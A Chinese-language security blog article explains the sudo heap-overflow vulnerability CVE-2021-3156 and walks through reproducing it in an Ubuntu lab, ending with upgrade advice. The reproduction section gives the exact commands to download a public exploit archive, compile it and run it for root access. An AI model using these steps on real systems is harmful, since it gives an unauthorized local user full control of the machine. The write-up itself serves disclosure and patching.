什么是CVE-2021-3156 Sudo溢出漏洞?

发布时间:2021-02-09      来源:

  简介

  sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt、reboot、su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。

  sudo不是对shell的一个代替,它是面向每个命令的。
 

  漏洞概述

  2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

  当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。

  由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
 

  影响范围

  sudo 1.8.2 - 1.8.31p2

  sudo 1.9.0 - 1.9.5p1

 

  环境搭建

  本次环境使用ubuntu19.04版本

  1、官方下载地址:old-releases.ubuntu.com/releases/19.04/

  2、使用Vmware虚拟机安装最小安装即可。


 

  漏洞复现

  1、在终端输入sudo –version查看sudo版本,使用whoami查看当前用户

  2、使用GitHub上的exp进行漏洞利用,使用wget或git进行下载

  wget    hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip

  unzip main.zip

  3、进入解压的目录,使用make编译成可执行文件

  cd CVE-2021-3156-main/

  Make

  4、执行编译出来的文件后面加上ubuntu执行可以看到已经是root权限了(使用Debian的系统也可以)

  ./sudo-hax-me-a-sandwich ubuntu


 

  修复建议

  目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。

上一篇:实测一款知名APP出现的漏洞
下一篇: 远程代码执行漏洞 (CVE-2021-25646)复现过程

武汉网盾科技有限公司 版权所有

公司地址:湖北省武汉市东湖高新技术开发区光谷大道70号现代光谷世贸中心A栋23楼

咨询电话:027-87315211     13476091025

鄂ICP备07009628号-20